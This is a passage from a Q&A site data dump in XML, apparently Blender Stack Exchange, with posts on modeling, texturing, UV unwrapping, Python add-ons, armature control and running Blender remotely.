everyone.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if bl_rna.description:&#xA;        process_msg(msgs, default_context, bl_rna.description, msgsrc, reports, check_ctxt_rna_tip, settings)&#xA;    elif cls.__doc__:  # XXX Some classes (like KeyingSetInfo subclasses) have void description... :(&#xA;        process_msg(msgs, default_context, cls.__doc__, msgsrc, reports, check_ctxt_rna_tip, settings)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5899" LastEditorUserId="5899" LastEditDate="2014-09-12T18:04:45.753" LastActivityDate="2014-09-12T18:04:45.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15779" PostTypeId="1" AcceptedAnswerId="15780" CreationDate="2014-09-12T18:11:28.450" Score="3" ViewCount="3856" Body="&lt;p&gt;I am modeling a person's head and face using front and side reference images. I have set the reference images as Background Images for the &quot;Front Ortho&quot; and &quot;Right Ortho&quot; views, respectively. For the most part this is working well except for one odd issue. On the &quot;Front Ortho&quot; view, when I select solid shading mode, the mesh surface shading is semi-transparent, so I can still see the background image behind it. However, when I select solid shading on the &quot;Right Ortho&quot; view, the mesh is fully opaque - so I must switch to wireframe mode to see background image. Aside from the &quot;Axis&quot; and &quot;Source Image&quot;, all the Background Image settings are the same between the two. I'm just trying to understand the difference I'm seeing between these two views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see both presentations being useful depending on what you're trying to do/see, so I guess I'm looking for a way I can switch between the two behaviors. For what I'm trying to accomplish right now, I'm mostly interested in being able to see through the mesh in solid mode in &quot;Right Ortho&quot; view.&lt;/p&gt;&#xA;" OwnerUserId="6008" LastActivityDate="2014-09-12T18:15:30.813" Title="See background image through solid shading in edit mode" Tags="&lt;modeling&gt;&lt;editing&gt;&lt;image&gt;&lt;transparency&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15780" PostTypeId="2" ParentId="15779" CreationDate="2014-09-12T18:15:30.813" Score="4" Body="&lt;p&gt;You must change the view from &lt;em&gt;Back&lt;/em&gt; to &lt;em&gt;Front&lt;/em&gt;. See the screen shot:&lt;img src=&quot;https://i.stack.imgur.com/7Afvj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change to Opacity of the image, if it makes your mesh to hard to see using the slider.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-09-12T18:15:30.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15781" PostTypeId="2" ParentId="15730" CreationDate="2014-09-12T18:27:42.830" Score="8" Body="&lt;p&gt;To my surprise, my following report &lt;strong&gt;&lt;a href=&quot;https://developer.blender.org/T41780&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt; confirmed that there was something wrong here since 2.4x. Thanks to psy-fi (Antony Riakiotakis), the developer who has helped to fix it in commits &lt;a href=&quot;https://developer.blender.org/rB72d6f254a990e790dee7cf0703ea98033b68191f&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://developer.blender.org/rB482354fd6a9703459bb221a234ddcf28d9742a25&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it makes sense that, as &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Sequencer/Effects#Alpha_Over.2C_Under.2C_and_Over_Drop_Built-in_Effects&quot; rel=&quot;noreferrer&quot;&gt;Wiki&lt;/a&gt; said, &lt;strong&gt;Over Drop&lt;/strong&gt; is actually a &quot;mixture&quot; of &lt;strong&gt;Alpha Over&lt;/strong&gt; and &lt;strong&gt;Alpha Under&lt;/strong&gt;. In other words, the first selected strip would be the foreground (same as Alpha Under), while the fade value also controls this foreground (same as Alpha Over).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For easy understanding:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9MeUM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7tdPN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2016-05-17T06:33:57.343" LastActivityDate="2016-05-17T06:33:57.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15782" PostTypeId="2" ParentId="13407" CreationDate="2014-09-12T20:14:53.040" Score="10" Body="&lt;p&gt;This sample code will save &lt;strong&gt;external images&lt;/strong&gt; before saving to .blend (overwrites the originals):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Auto-save external images&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 67, 0),&#xA;    &quot;location&quot;: &quot;&quot;,&#xA;    &quot;description&quot;: &quot;Save image datablocks on saving .blend&quot;,&#xA;    &quot;warning&quot;: &quot;Works on external images only!&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;System&quot;}&#xA;&#xA;&#xA;import bpy&#xA;&#xA;def save_external_images(dummy):&#xA;    for img in bpy.data.images:&#xA;        img.save()&#xA;&#xA;&#xA;def register():&#xA;    bpy.app.handlers.save_pre.append(save_external_images)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.app.handlers.save_pre.remove(save_external_images)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you enable this addon &lt;strong&gt;by default&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not work on internal image datablocks, unless you extent above code to save to an external file or maybe pack internally.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-09-12T20:37:00.010" LastActivityDate="2014-09-12T20:37:00.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15784" PostTypeId="1" AcceptedAnswerId="15818" CreationDate="2014-09-12T22:50:42.060" Score="7" ViewCount="3932" Body="&lt;p&gt;What is the way to multiply a texture across one axis?&#xA;Lets assume that I have a plane. How can I multiply the &quot;Gradient&quot; texture in the node editor (&lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; &gt; Textures &gt; Gradient) several times across the plane surface?&#xA;Here is what I mean - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bBJJu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aiming for a holographic like effect so that texture will be used for something like this - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ibNZY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the &quot;Mapping&quot; node, but I still can't figure out what to do. Here's my node setup for the hologram like effect - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jcchE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results from the node setup - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4prgJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My aim is to replace that texture with a &quot;Gradient&quot; texture. What would be the approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update - Is there way of using my own created tiled texture to achieve that effect?&#xA;I tried something using the tiled texture above - &lt;a href=&quot;http://www.pasteall.org/blend/31547&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31547&lt;/a&gt;&#xA;Basicly, I want the darker parts to be used by the one node group and the lighter parts to be used by the other and all in between to transition from the first to the other. Am I doing it right?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-09-13T09:52:57.620" LastActivityDate="2015-10-28T15:37:52.677" Title="Repeat a generated texture in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15785" PostTypeId="2" ParentId="15784" CreationDate="2014-09-12T23:25:35.183" Score="7" Body="&lt;p&gt;For the mapping node to work properly you need to tell it what the existing mapping coordinates are.  To do this simply add an &lt;em&gt;input &gt; texture coordinates&lt;/em&gt; node and plug the &lt;em&gt;UV&lt;/em&gt; output (the model must be unwrapped) into the &lt;em&gt;vector&lt;/em&gt; input on the mapping node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I came up with in terms of making the horizontal lines.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZoJJD.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Obviously there is a lot of tweaking to do, this is simply mixing two different colored emission shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GofC5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GofC5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;Click to enlarge&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;texture coordinate&lt;/em&gt; node gives the mapping node the mapping coordinates to work with.  &lt;em&gt;Window&lt;/em&gt; coordinates are aligned with the view.  I would suggest instead of using window coordinates, go into front view &gt; edit mode &gt; select all (&lt;kbd&gt;A&lt;/kbd&gt;) &gt; &lt;kbd&gt;U&lt;/kbd&gt; &gt; &lt;em&gt;Project from view&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;mapping&lt;/em&gt; node scales the coordinates in the y direction by 100 (looking at it now, that seems a bit too much).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image texture is this one I created here.  Unfortunately the generated gradient texture does not behave desirably when tiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jti2x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color ramp is simply to give a little more control of the final mixing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of two emission shaders you can use the two shaders you have already created.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-10-28T15:37:52.677" LastActivityDate="2015-10-28T15:37:52.677" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15787" PostTypeId="1" CreationDate="2014-09-12T23:55:35.860" Score="1" ViewCount="180" Body="&lt;p&gt;I'm trying to unwrap a very simple model of a building. It unwraps fine except for the foundation of the building, where the angles between the edges are not kept.(screenshots below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9cs2e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does Blednder fail in such a simple situation? And how to prevent this ugly unwraping?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The.blend file is &lt;a href=&quot;https://www.dropbox.com/s/3nlz9xy7mujttz6/Appartments%202.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2349" LastEditorDisplayName="user1853" LastEditDate="2014-09-13T02:38:32.860" LastActivityDate="2014-09-13T02:38:32.860" Title="Ugly UV unwarpping in a simple case. What I'm doing wrong?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15788" PostTypeId="1" AcceptedAnswerId="15793" CreationDate="2014-09-13T00:29:08.307" Score="3" ViewCount="683" Body="&lt;p&gt;When using cycles, it is possible to use any of the generated textures in the displace modifier. However if I chose the &lt;em&gt;Noise&lt;/em&gt; texture or &lt;em&gt;Ocean&lt;/em&gt; texture, there seams to be no way to edit that texture type. How do I edit the &lt;em&gt;Noise&lt;/em&gt; texture or &lt;em&gt;Ocean&lt;/em&gt; texture type when used as the texture in the displace modifier?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-13T06:53:54.017" Title="Using cycles generated textures in the displace modifier" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2014-10-16T22:35:17.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="15789" PostTypeId="2" ParentId="15787" CreationDate="2014-09-13T01:39:12.440" Score="2" Body="&lt;p&gt;Reselect all your faces and try &lt;strong&gt;Smart Uv Project&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/51fXO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M6K0H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-09-13T01:39:12.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15790" PostTypeId="1" AcceptedAnswerId="15792" CreationDate="2014-09-13T01:40:35.730" Score="2" ViewCount="1078" Body="&lt;p&gt;Is there a fast way to move one selected vertex point to another point in the &lt;em&gt;UV/Image Editor&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select the target point, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, &lt;em&gt;Cursor to Selection&lt;/em&gt;, select the point to be moved, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, and &lt;em&gt;Selection to Cursor&lt;/em&gt;, but this takes a long time. Is there a faster way?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2014-09-13T02:14:59.567" LastActivityDate="2021-01-07T08:35:32.150" Title="Fast way to move one vertex point to another in the UV/Image Editor?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15792" PostTypeId="2" ParentId="15790" CreationDate="2014-09-13T02:08:51.253" Score="3" Body="&lt;p&gt;You can toggle the &lt;em&gt;Snap&lt;/em&gt; tool in the UV Editor's header by clicking the magnet icon or using the keyboard shortcut &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;. Then click the popover dropdown beside it and enable the element snapping type of &lt;em&gt;Vertex&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://files.keavon.com/-/VitalGraciousKinkajou/capture.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://files.keavon.com/-/JitteryRudeAdamsstaghornedbeetle/capture.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Instead of frequently toggling the &lt;em&gt;Snap&lt;/em&gt; tool on and off by clicking the magnet icon, simply hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt; while manipulating the UVs to temporarily activate snapping. (You still have to make sure you are in &lt;em&gt;Vertex&lt;/em&gt; snapping mode.)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="743" LastEditDate="2021-01-07T08:35:32.150" LastActivityDate="2021-01-07T08:35:32.150" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15793" PostTypeId="2" ParentId="15788" CreationDate="2014-09-13T06:24:19.433" Score="1" Body="&lt;p&gt;The only workaround seems to me is that you have bake the textures out to the uvs and then plug them into the displacement.&lt;/p&gt;&#xA;" OwnerUserId="5998" LastActivityDate="2014-09-13T06:24:19.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15794" PostTypeId="1" CreationDate="2014-09-13T06:32:03.017" Score="0" ViewCount="729" Body="&lt;p&gt;I'm creating a devise to identify hand movements and display on 3d hand model in blender.For that I used flex sensors and accelarometer to measure finger/hand movements.By using pyserial the sensor values are imported to bender as many variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to blender and python.I have created a hand model and need to run it using python script.I have added always sensor and python controller. I need to change the pose of the bone(actually euler angles) in real time using those sensor values(In blender game engine).&lt;/p&gt;&#xA;" OwnerUserId="6016" LastEditorUserId="6016" LastEditDate="2014-09-13T06:41:08.950" LastActivityDate="2014-10-13T09:54:03.163" Title="how to control pose of an armature real time in blender?" Tags="&lt;python&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15795" PostTypeId="1" CreationDate="2014-09-13T07:08:45.737" Score="3" ViewCount="327" Body="&lt;p&gt;I have an image of a scene and I extracted the projection matrix from that, so I have the camera calibration. Now, I want to add some 3D objects to this scene. I have already coded something with OpenGL. You can see the results here (the white wall is added in OpenGL):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eAvdY.jpg&quot; alt=&quot;Soccer Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to achieve the same thing with Blender, because it's easier to work with complex models and complex scenes. Can anyone give me any pointers on how to convert from OpenGL camera to Blender?&lt;/p&gt;&#xA;" OwnerUserId="6017" LastActivityDate="2014-09-28T21:50:13.653" Title="Add 3D content to an image using blender" Tags="&lt;camera&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2014-10-03T23:35:09.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="15797" PostTypeId="1" CreationDate="2014-09-13T07:19:48.987" Score="0" ViewCount="60" Body="&lt;p&gt;I have a lot of object in my BGE environment. I can select them easily by using regular expression. All of them, also have action with specific name, too.&lt;br&gt;&#xA;Now I want to add them to my game, by python script. Is there any way to add actuator, controller and set action programmatically?&lt;/p&gt;&#xA;" OwnerUserId="5996" LastEditorUserId="2217" LastEditDate="2014-09-13T14:29:48.193" LastActivityDate="2014-09-13T14:29:48.193" Title="How to add actuator, controller and action to series of objects?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2014-09-14T19:36:19.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="15798" PostTypeId="2" ParentId="15794" CreationDate="2014-09-13T08:06:59.747" Score="2" Body="&lt;p&gt;There has been some work on using a kinect with blender, you might find some help in that work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From python you can manipulate an armatures bones with -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myrigbones = bpy.data.objects['metarig'].pose.bones&#xA;myrigbones['chest'].rotation_euler = Euler((12.0, 0.0, 0.0), 'XYZ')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't think that will work in a game engine controller though - the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_6/bge.types.BL_ArmatureObject.html&quot; rel=&quot;nofollow&quot;&gt;BL_ArmatureObject&lt;/a&gt; available in the game engine has a channels property to access bones.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-13T08:06:59.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15799" PostTypeId="2" ParentId="15763" CreationDate="2014-09-13T08:17:02.350" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;ship teleports itself to a different position&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That points to an issue with location. If you have keyframes on the location in blender then unity will be applying that part of the animation when you play it. eg you place the ship in unity at x=20 but in blender you have a keyframe that says x=0 then unity will move it to x=0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you want the ship to move up and down then you may want keyframes on the z-axis but remove the x and y location keyframes.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-13T08:17:02.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15800" PostTypeId="1" CreationDate="2014-09-13T09:47:03.673" Score="1" ViewCount="260" Body="&lt;p&gt;A scene to produce a 2D texture image (for use in another scene) consists of one camera and one rectangle. The rectangle uses only one shader - Emission.  The Emission's color and strength are controlled by a fancy nodes setup using images and perlin noise.  There are no diffuse, glossy or other shaders. Just Emission. There are no other objects in the scene, nothing to bother rays/paths between the camera and the glowing rectangle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to render with multiple samples? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I did the obvious and set Cycles' Render Sample to 1, and the result looked fine. But maybe I have a quirky scene that happens to do that.  There doesn't seem to be any sources of randomness in calculating any one pixel again. Rendering with hundreds of samples is necessary only if there's scattering such as with Diffuse of Glossy.  Am I right?  &lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2014-09-14T05:35:22.567" Title="Is one sample rendering in Cycles sufficient for a simple texture shot?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15801" PostTypeId="2" ParentId="15767" CreationDate="2014-09-13T10:23:35.510" Score="1" Body="&lt;p&gt;I only see one part of the script that doesn't work, the menu for the data_path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find this line in the script -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;colsubsub.prop_search(config, &quot;data_path&quot;, config_top, &quot;data_path_candidates&quot;, text=&quot;&quot;, icon='RNA')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace it with -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;colsubsub.prop(config, &quot;data_path&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You won't get a menu to select options from but you can manually type in one of the following options that work -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location&#xA;rotation_euler&#xA;rotation_quaternion&#xA;scale&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that rotation_euler imports the data as radians not degrees.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-13T10:23:35.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15802" PostTypeId="1" AcceptedAnswerId="15812" CreationDate="2014-09-13T12:21:50.473" Score="2" ViewCount="2426" Body="&lt;p&gt;I'm importing a mesh i made into unity before exporting I always rotate it by -90 degrees in the X axis, then set the orientation to Y forward and Z up so when the object is imported to unity the object's orientation will fit into unity's native orientation, However whenever I do this after being importing to Unity the mesh is inside out or transparent but When I don't do the rotation of -90 on the X axis the mesh loads correctly aside from the orientation of the mesh being incorrect and it doesn't match unity's native orientation, i really can't figure it out this is the first time I'm having this problem My setup usually works in the meshes i import to unity but this time i got this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aEtmp.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Hh42t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3614" LastEditorUserId="3614" LastEditDate="2014-09-13T14:22:59.103" LastActivityDate="2014-09-13T20:07:24.340" Title="Mesh imported to Unity is inside out" Tags="&lt;import&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15803" PostTypeId="1" AcceptedAnswerId="15808" CreationDate="2014-09-13T12:40:08.853" Score="9" ViewCount="2117" Body="&lt;p&gt;I would like to control Blender on a remote server (Ubuntu, local network) from my Notebook (Windows 7).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until now I evaluated the following configurations, none of them works satisfactorily.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;1 VNC (followed &lt;a href=&quot;http://rbgeek.wordpress.com/2012/06/25/how-to-install-vnc-server-on-ubuntu-server-12-04/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Result: Applications like Firefox, Libre-Office work but Blender's UI is rendered incomplete and unusable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uu5zK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;2 MobaXTerm&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mobaxterm.mobatek.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MobaXTerm&lt;/a&gt; supports SSH and comes with its own X-Server:&#xA;Again firefox and other apps work but Blender crashes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ blender&#xA;Color management: using fallback mode for management&#xA;connect failed: No such file or directory&#xA;X Error of failed request:  GLXBadRenderRequest&#xA;  Major opcode of failed request:  146 (GLX)&#xA;  Minor opcode of failed request:  1 (X_GLXRender)&#xA;  Serial number of failed request:  154&#xA;  Current serial number in output stream:  179&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;3 Run Ubuntu under VMWare and Tunnel X through SSH&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Blender starts flawless but the connection (100MBit/s) is so slow that it takes 2-3s to open a menu. &lt;a href=&quot;https://askubuntu.com/questions/203173/run-application-on-local-machine-and-show-gui-on-remote-display&quot;&gt;Instructions on AskUbuntu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative to the methods I tried?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Solution&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The MobaXterm settings that worked for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hzuWl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:02.757" LastActivityDate="2015-08-01T16:30:37.327" Title="Is there a way to control Blender's GUI remotely?" Tags="&lt;interface&gt;&lt;network&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15808" PostTypeId="2" ParentId="15803" CreationDate="2014-09-13T15:39:24.367" Score="3" Body="&lt;p&gt;The latest version of MobaXterm works great with Blender! I just had to check the &quot;Hardware OpenGL acceleration&quot; in order to make it work (under &quot;Settings&quot; --&gt; &quot;Configuration&quot; --&gt; &quot;X11&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started a SSH connection with compression enabled in order to lower bandwidth usage and started Blender which now works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running the latest free version of MobaXterm from &lt;a href=&quot;http://mobaxterm.mobatek.net&quot; rel=&quot;nofollow&quot;&gt;http://mobaxterm.mobatek.net&lt;/a&gt; and my Windows computer has a nVidia Geforce GT640 with the latest nVidia drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="6022" LastActivityDate="2014-09-13T15:39:24.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15809" PostTypeId="1" CreationDate="2014-09-13T17:16:27.567" Score="1" ViewCount="1306" Body="&lt;p&gt;I'm trying to set up the physics to simulate a hanging necklace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My strategy is to get:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A floppy string with rigid body physics&lt;/li&gt;&#xA;&lt;li&gt;A rigid body pendant, with an eye hole through which to feed the string&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://www.youtube.com/watch?v=4ANT5vf5H-Y&amp;amp;noredirect=1&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; for setting up a curve to behave like the string, but it seems that curves can't be assigned rigid body physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best approach to set up such a scene?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2014-09-13T17:25:48.063" LastActivityDate="2014-09-13T17:25:48.063" Title="Necklace Physics" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
